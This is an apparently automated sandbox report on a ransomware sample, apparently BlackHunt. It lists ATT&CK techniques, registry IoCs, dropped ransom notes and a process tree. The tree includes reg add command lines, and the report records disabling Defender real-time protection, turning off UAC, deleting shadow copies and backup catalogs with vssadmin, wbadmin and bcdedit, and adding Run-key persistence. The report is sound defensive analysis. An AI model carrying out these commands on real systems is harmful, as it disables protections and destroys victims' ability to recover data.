d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694

Data Destruction

T1485

pid	Process
492	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
4756	bcdedit.exe
1748	bcdedit.exe

Renames multiple (576) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3836	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\N:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\P:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\H:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\E:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\U:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\J:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\M:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\W:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\R:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\S:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\K:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\L:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\Z:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\Y:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\T:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\X:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\B:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\I:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\A:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\G:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\V:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\O:	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\relaxngom.md	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\zipfs.jar	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\invalid32x32.gif	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\README.html	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\#BlackHunt_ReadMe.txt	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\7-Zip\Lang\eo.txt	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\amd64\#BlackHunt_ReadMe.hta	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\webkit.md	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\libpng.md	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\#BlackHunt_ReadMe.hta	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\public_suffix.md	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\#BlackHunt_Private.key	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\7-Zip\Lang\de.txt	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sl.txt	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\mesa3d.md	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.txt	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fur\#BlackHunt_ReadMe.txt	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hi\#BlackHunt_ReadMe.txt	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cy.txt	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\#BlackHunt_ReadMe.txt	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\jpeg_fx.md	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\xmlresolver.md	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\jfr\profile.jfc	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\vlc.mo	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\DisconnectRename.shtml	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\dotnet\ThirdPartyNotices.txt	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\content-types.properties	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\#BlackHunt_Private.key	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\LC_MESSAGES\#BlackHunt_ReadMe.hta	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sv.txt	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\libpng.md	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\javaws.policy	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jre-1.8\THIRDPARTYLICENSEREADME.txt	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\Uninstall Information\#BlackHunt_ReadMe.hta	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\VideoLAN\VLC\locale\et\#BlackHunt_Private.key	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\Java\jre-1.8\legal\jdk\#BlackHunt_ReadMe.hta	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\icu.md	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\UnregisterMeasure.vsd	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\vlc.mo	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\VideoLAN\VLC\locale\eu\#BlackHunt_ReadMe.hta	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_ReadMe.txt	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\#BlackHunt_ReadMe.txt	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\#BlackHunt_ReadMe.hta	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\#BlackHunt_ReadMe.hta	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mai\#BlackHunt_ReadMe.txt	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\flavormap.properties	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_ja.properties	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jre-1.8\Welcome.html	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\VideoLAN\VLC\hrtfs\#BlackHunt_ReadMe.hta	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#BlackHunt_Private.key	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_Private.key	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ba.txt	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\#BlackHunt_ReadMe.txt	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\#BlackHunt_Private.key	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages.properties	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_zh_HK.properties	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\#BlackHunt_ReadMe.hta	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mai\#BlackHunt_Private.key	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ps.txt	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\local_policy.jar	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\Java\jre-1.8\#BlackHunt_ReadMe.txt	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\server\classes.jsa	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\Java\jre-1.8\lib\deploy\#BlackHunt_ReadMe.hta	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
File created	C:\Program Files\Java\jre-1.8\lib\ext\#BlackHunt_ReadMe.hta	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4528	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
876	vssadmin.exe
4908	vssadmin.exe
2832	vssadmin.exe
2440	vssadmin.exe
1836	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
Token: SeRestorePrivilege	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
Token: SeBackupPrivilege	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
Token: SeTakeOwnershipPrivilege	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
Token: SeAuditPrivilege	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
Token: SeSecurityPrivilege	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
Token: SeIncBasePriorityPrivilege	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
Token: SeBackupPrivilege	4680	wbengine.exe
Token: SeRestorePrivilege	4680	wbengine.exe
Token: SeSecurityPrivilege	4680	wbengine.exe
Token: SeBackupPrivilege	3380	vssvc.exe
Token: SeRestorePrivilege	3380	vssvc.exe
Token: SeAuditPrivilege	3380	vssvc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1576 wrote to memory of 3660	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	92
PID 1576 wrote to memory of 3660	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	92
PID 1576 wrote to memory of 4088	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	94
PID 1576 wrote to memory of 4088	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	94
PID 1576 wrote to memory of 4976	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	96
PID 1576 wrote to memory of 4976	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	96
PID 1576 wrote to memory of 1708	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	98
PID 1576 wrote to memory of 1708	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	98
PID 1576 wrote to memory of 4488	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	100
PID 1576 wrote to memory of 4488	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	100
PID 4088 wrote to memory of 1824	4088	cmd.exe	104
PID 4088 wrote to memory of 1824	4088	cmd.exe	104
PID 4488 wrote to memory of 3392	4488	cmd.exe	107
PID 4488 wrote to memory of 3392	4488	cmd.exe	107
PID 3660 wrote to memory of 1748	3660	cmd.exe	105
PID 3660 wrote to memory of 1748	3660	cmd.exe	105
PID 4976 wrote to memory of 4956	4976	cmd.exe	106
PID 4976 wrote to memory of 4956	4976	cmd.exe	106
PID 1708 wrote to memory of 2092	1708	cmd.exe	103
PID 1708 wrote to memory of 2092	1708	cmd.exe	103
PID 1576 wrote to memory of 4528	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	108
PID 1576 wrote to memory of 4528	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	108
PID 1576 wrote to memory of 316	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	110
PID 1576 wrote to memory of 316	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	110
PID 1576 wrote to memory of 4792	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	112
PID 1576 wrote to memory of 4792	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	112
PID 1576 wrote to memory of 3668	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	114
PID 1576 wrote to memory of 3668	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	114
PID 4528 wrote to memory of 4532	4528	cmd.exe	116
PID 4528 wrote to memory of 4532	4528	cmd.exe	116
PID 1576 wrote to memory of 1332	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	117
PID 1576 wrote to memory of 1332	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	117
PID 1576 wrote to memory of 2752	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	118
PID 1576 wrote to memory of 2752	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	118
PID 316 wrote to memory of 3572	316	cmd.exe	121
PID 316 wrote to memory of 3572	316	cmd.exe	121
PID 1576 wrote to memory of 460	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	122
PID 1576 wrote to memory of 460	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	122
PID 4792 wrote to memory of 4808	4792	cmd.exe	123
PID 4792 wrote to memory of 4808	4792	cmd.exe	123
PID 3668 wrote to memory of 384	3668	cmd.exe	125
PID 3668 wrote to memory of 384	3668	cmd.exe	125
PID 1576 wrote to memory of 3128	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	126
PID 1576 wrote to memory of 3128	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	126
PID 1576 wrote to memory of 2180	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	128
PID 1576 wrote to memory of 2180	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	128
PID 1332 wrote to memory of 2300	1332	cmd.exe	130
PID 1332 wrote to memory of 2300	1332	cmd.exe	130
PID 2752 wrote to memory of 1056	2752	cmd.exe	131
PID 2752 wrote to memory of 1056	2752	cmd.exe	131
PID 1576 wrote to memory of 4640	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	132
PID 1576 wrote to memory of 4640	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	132
PID 460 wrote to memory of 4944	460	cmd.exe	134
PID 460 wrote to memory of 4944	460	cmd.exe	134
PID 1576 wrote to memory of 4880	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	137
PID 1576 wrote to memory of 4880	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	137
PID 3128 wrote to memory of 536	3128	cmd.exe	135
PID 3128 wrote to memory of 536	3128	cmd.exe	135
PID 2180 wrote to memory of 4208	2180	cmd.exe	138
PID 2180 wrote to memory of 4208	2180	cmd.exe	138
PID 1576 wrote to memory of 4256	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	139
PID 1576 wrote to memory of 4256	1576	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe	139
PID 4640 wrote to memory of 3916	4640	cmd.exe	145
PID 4640 wrote to memory of 3916	4640	cmd.exe	145

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe
"C:\Users\Admin\AppData\Local\Temp\d89656a4f5fcae9d4da91527e4a8fbc123f6b79ebeb043b51b8507490573c694.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4088
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
